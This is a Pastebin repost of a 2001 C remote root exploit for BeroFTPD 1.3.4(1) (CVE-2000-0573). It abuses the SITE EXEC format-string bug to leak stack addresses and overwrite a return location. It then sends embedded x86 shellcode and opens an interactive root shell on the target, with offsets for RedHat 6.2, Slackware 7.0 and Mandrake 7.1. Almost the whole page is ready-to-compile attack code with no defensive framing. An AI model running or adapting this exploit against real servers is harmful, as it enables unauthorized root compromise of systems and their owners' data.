Advertisement
FlyFar

BeroFTPD 1.3.4(1) (Linux x86) - Remote Code Execution - CVE-2000-0573

Feb 24th, 2024
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.85 KB | Cybersecurity | 0 0
  1. /*  
  2.  *  BeroFTPD 1.3.4(1) Linux x86 remote root exploit
  3.  *  by qitest1 - 5/05/2001
  4.  *
  5.  *  BeroFTPD is an ftpd derived from wuftpd sources. This code
  6.  *  exploits the format bug of the site exec cmd, well known to be
  7.  *  present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1)
  8.  *  is the current version at the moment.    
  9.  *  
  10.  *  JUST SAMPLE CODE. For different platforms you have to try with
  11.  *  different offsets for different retaddrs. You see.. =)  
  12.  *
  13.  *  Greets: Nail, Norby, Berserker.
  14.  *  69 rulez.. ;P
  15.  */
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <getopt.h>
  20. #include <errno.h>
  21. #include <netdb.h>
  22. #include <unistd.h>
  23. #include <string.h>
  24. #include <netinet/in.h>
  25.  
  26. struct targ
  27. {
  28.    int          def;
  29.    char         *descr;
  30.    unsigned long int    enbuf;
  31.    int          dawlen;
  32. };
  33.  
  34. struct targ target[]=
  35.     {          
  36.       {0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6},
  37.       {1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12},
  38.       {2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6},
  39.       {69, NULL, 0, 0}
  40.     };
  41.  
  42.   /* 15 byte x86/linux PIC read() shellcode by lorian / teso
  43.    */
  44. unsigned char shellcode_read[] =
  45.         "\x33\xdb"              /* xorl %ebx, %ebx      */
  46.         "\xf7\xe3"              /* mull %ebx            */
  47.         "\xb0\x03"              /* movb $3, %al         */
  48.         "\x8b\xcc"              /* movl %esp, %ecx      */
  49.         "\x68\xb2\x00\xcd\x80"  /* push 0x80CDxxB2      */
  50.         "\xff\xff\xe4";         /* jmp  %esp            */
  51.  
  52. unsigned char shellcode[] = /* Lam3rZ code */
  53.         "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
  54.         "\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b"
  55.         "\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66"
  56.         "\xb9\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
  57.         "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89"
  58.         "\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0"
  59.         "\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
  60.         "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
  61.         "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08"
  62.         "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0"
  63.         "\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8"
  64.         "\x90\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
  65.         "\x2e\x2e\x31\x31";
  66.  
  67. char            fmtstr[1024];
  68. int         sock;
  69. int         sel;
  70. int         offset;
  71. unsigned long int       retloc;
  72. unsigned long int   bufaddr;
  73. unsigned long int   tmpaddr;
  74.    
  75. void        fmtstr_build(unsigned long int bufaddr, unsigned long int retloc);
  76. void        xpad_cat (unsigned char *fabuf, unsigned long int addr);
  77. void        retloc_find(void);
  78. void        shellami(int sock);
  79. void        login(void);
  80. void        usage(char *progname);
  81. int         conn2host(char *host, int port);
  82.  
  83. main(int argc, char *argv[])
  84. {
  85. char        rbuf[1024];
  86. char        *host = NULL;
  87. int         cnt;
  88.  
  89.   printf("\n  BeroFTPD 1.3.4(1) exploit by qitest1\n\n");
  90.   if(argc == 1)
  91.     usage(argv[0]);
  92.   while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
  93.     {
  94.    switch(cnt)
  95.         {
  96.    case 'h':
  97.       host = strdup(optarg);
  98.       break;
  99.    case 't':
  100.      sel = atoi(optarg);      
  101.      break;
  102.    case 'o':
  103.      offset = atoi(optarg);
  104.      break;
  105.    default:
  106.      usage(argv[0]);
  107.      break;
  108.         }
  109.     }
  110.  
  111.   if(host == NULL)
  112.     usage(argv[0]);
  113.  
  114.   printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
  115.  
  116.   printf("+Connecting to %s...\n", host);
  117.   sock = conn2host(host, 21);
  118.   printf("  connected\n");
  119.  
  120.   printf("+Receiving banner...\n");
  121.   recv(sock, rbuf, 1024, 0);
  122.   printf("%s", rbuf);
  123.   memset(rbuf, 0, 1024);
  124.   printf("  received\n");
  125.  
  126.   printf("+Logging in...\n");
  127.   login();
  128.   printf("  logged in\n");
  129.  
  130.   printf("+Searching retloc...\n");
  131.   retloc_find();
  132.   printf("  found: %p\n", retloc);
  133.  
  134.   printf("+Searching bufaddr...\n");
  135.   bufaddr = tmpaddr + target[sel].enbuf;
  136.   printf("  found: %p + offset = ", bufaddr);
  137.   bufaddr += offset;
  138.   printf("%p\n", bufaddr);  
  139.  
  140.   printf("+Preparing shellcode...\n");
  141.   shellcode_read[strlen(shellcode_read)] = (unsigned char) strlen(shellcode);
  142.   printf("  shellcode ready\n");
  143.  
  144.   printf("+Building fmtstr...\n");
  145.   fmtstr_build(bufaddr, retloc);
  146.   printf("  fmtstr builded\n");  
  147.  
  148.   printf("+Sending fmtstr...\n");
  149.   send(sock, fmtstr, strlen(fmtstr), 0);
  150.   printf("  fmtstr sent\n");
  151.   recv(sock, rbuf, 1024, 0);
  152.   sleep(1);
  153.   send(sock, shellcode, strlen(shellcode), 0);
  154.   sleep(2);
  155.   printf("+Entering love mode...\n");  /* Nail teachs.. ;-) */
  156.   shellami(sock);  
  157.  
  158. }
  159.  
  160. void
  161. fmtstr_build(unsigned long int bufaddr, unsigned long int retloc)
  162. {
  163. int               i;
  164. int       eat = 136;
  165. int               wlen = 428;
  166. int               tow;
  167. int               freespz;
  168. char          f[1024];
  169. unsigned long int soul69 = 0x69696969;  /* That's amore.. =) */
  170. unsigned char     retaddr[4];
  171.  
  172.   for(i = 0; i < 4; ++i)
  173.     retaddr[i] = (bufaddr >> (i << 3)) & 0xff;
  174.  
  175.   wlen -= target[sel].dawlen;
  176.   f[0] = 0;
  177.   for(i = 0; i < eat; i++)
  178.         strcat(f, "%.f");
  179.  
  180.   strcat(fmtstr, "SITE EXEC ");
  181.   strcat(fmtstr, "  ");
  182.   xpad_cat(fmtstr, retloc);
  183.   xpad_cat(fmtstr, soul69);
  184.   xpad_cat(fmtstr, retloc + 1);
  185.   xpad_cat(fmtstr, soul69);
  186.   xpad_cat(fmtstr, retloc + 2);
  187.   xpad_cat(fmtstr, soul69);
  188.   xpad_cat(fmtstr, retloc + 3);
  189.   strcat(fmtstr, f);
  190.   strcat(fmtstr, "%x");
  191.  
  192.   /* Code by teso
  193.    */
  194.   tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100;
  195.   if (tow < 10) tow += 0x100;    
  196.   sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  197.   wlen += tow;
  198.  
  199.   tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100;
  200.   if (tow < 10) tow += 0x100;
  201.   sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  202.   wlen += tow;
  203.  
  204.   tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100;
  205.   if (tow < 10) tow += 0x100;
  206.   sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  207.   wlen += tow;
  208.  
  209.   tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100;
  210.   if (tow < 10) tow += 0x100;
  211.   sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  212.   wlen += tow;
  213.   /* End here
  214.    */
  215.  
  216.   freespz = 510 - strlen(fmtstr) - strlen(shellcode_read) - 1;
  217.   for(i = 0; i < freespz ; i++)
  218.     strcat(fmtstr, "\x90");
  219.   strcat(fmtstr, shellcode_read);
  220.  
  221.   strcat(fmtstr, "\n");
  222.  
  223. }
  224.  
  225.   /* Code by teso
  226.    */
  227. void xpad_cat (unsigned char *fabuf, unsigned long int addr)
  228. {
  229.         int             i;
  230.         unsigned char   c;
  231.  
  232.         for (i = 0 ; i <= 3 ; ++i) {
  233.                 switch (i) {
  234.                 case (0):
  235.                         c = (unsigned char) ((addr & 0x000000ff)      );
  236.                         break;
  237.                 case (1):
  238.                         c = (unsigned char) ((addr & 0x0000ff00) >>  8);
  239.                         break;
  240.                 case (2):
  241.                         c = (unsigned char) ((addr & 0x00ff0000) >> 16);
  242.                         break;
  243.                 case (3):
  244.                         c = (unsigned char) ((addr & 0xff000000) >> 24);
  245.                         break;
  246.                 }
  247.                 if (c == 0xff)
  248.                         sprintf (fabuf + strlen (fabuf), "%c", c);
  249.  
  250.                 sprintf (fabuf + strlen (fabuf), "%c", c);
  251.         }
  252.  
  253.         return;
  254. }
  255.   /* End here
  256.    */
  257.  
  258. void
  259. retloc_find(void)
  260. {
  261. int     i;
  262. char        rbuf[1024];
  263. char        sbuf[1024];
  264. char        *ptr;
  265.  
  266.   strcpy(sbuf, "SITE EXEC ");
  267.   for(i = 0; i < 6; i++)
  268.     strcat(sbuf, "%p ");
  269.   strcat(sbuf, "\n");
  270.   send(sock, sbuf, strlen(sbuf), 0);
  271.  
  272.   recv(sock, rbuf, 1024, 0);
  273.   ptr = rbuf;
  274.   for(i = 0; i < 5; i++)
  275.     {
  276.       while(*ptr != ' ')
  277.         ptr++;
  278.       ptr++;
  279.     }
  280.   ptr[strlen(ptr) - 2] = '\x00';   
  281.   ptr[strlen(ptr) - 1] = '\x00';
  282.   sscanf(ptr, "%p", &retloc);
  283.   sscanf(ptr, "%p", &tmpaddr);
  284.   retloc -= 0x40;
  285.  
  286. }
  287.  
  288. void
  289. shellami(int sock)
  290. {
  291. int         n;
  292. char        recvbuf[1024];
  293. char        *cmd = "id; uname -a\n";
  294. fd_set      rset;
  295.  
  296.   send(sock, cmd, strlen(cmd), 0);
  297.  
  298.   while (1)
  299.     {
  300.       FD_ZERO(&rset);
  301.       FD_SET(sock,&rset);
  302.       FD_SET(STDIN_FILENO,&rset);
  303.       select(sock+1,&rset,NULL,NULL,NULL);
  304.       if (FD_ISSET(sock,&rset))
  305.         {
  306.           n=read(sock,recvbuf,1024);
  307.           if (n <= 0)
  308.             {
  309.               printf("Connection closed by foreign host.\n");
  310.               exit(0);
  311.             }
  312.           recvbuf[n]=0;
  313.           printf("%s",recvbuf);
  314.         }
  315.       if (FD_ISSET(STDIN_FILENO,&rset))
  316.         {
  317.           n=read(STDIN_FILENO,recvbuf,1024);
  318.           if (n>0)
  319.             {
  320.               recvbuf[n]=0;
  321.               write(sock,recvbuf,n);
  322.             }
  323.         }
  324.     }
  325.   return;
  326. }
  327.  
  328. int
  329. conn2host(char *host, int port)
  330. {
  331. int         sockfd;  
  332. struct      hostent *he;
  333. struct      sockaddr_in their_addr;
  334.  
  335.   if ((he=gethostbyname(host)) == NULL)
  336.     {
  337.           herror("gethostbyname");
  338.           exit(1);
  339.     }
  340.   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  341.     {
  342.           perror("socket");
  343.           exit(1);
  344.     }
  345.  
  346.   their_addr.sin_family = AF_INET;    
  347.   their_addr.sin_port = htons(port);  
  348.   their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  349.   bzero(&(their_addr.sin_zero), 8);    
  350.  
  351.   if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
  352.     {
  353.           perror("connect");
  354.           exit(1);
  355.     }
  356.  
  357.   return(sockfd);
  358.  
  359. }
  360.  
  361. void
  362. login(void)
  363. {
  364. char        *user = "USER anonymous\n";
  365. char        *pass = "PASS guest@\n";
  366. char        rbuf[1024];
  367.  
  368.   send(sock, user, strlen(user), 0);
  369.   recv(sock, rbuf, 1024, 0);
  370.   memset(rbuf, 0, 1024);
  371.   send(sock, pass, strlen(pass), 0);
  372.   while(strstr(rbuf, "login ok") == NULL)
  373.     {
  374.       memset(rbuf, 0, 1024);
  375.       recv(sock, rbuf, 1024, 0);
  376.     }
  377.  
  378. }
  379.  
  380. void
  381. usage(char *progname)
  382. {
  383. int     i = 0;
  384.  
  385.   printf("Usage: %s [options]\n", progname);
  386.   printf("Options:\n"
  387.      "  -h hostname\n"
  388.      "  -t target\n"
  389.      "  -o offset\n"
  390.      "Available targets:\n");
  391.   while(target[i].def != 69)
  392.     {
  393.           printf("  %d) %s\n", target[i].def, target[i].descr);
  394.           i++;
  395.     }
  396.  
  397.   exit(1);
  398.  
  399. }
  400.  
  401.  
  402. // milw0rm.com [2001-05-08]
  403.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement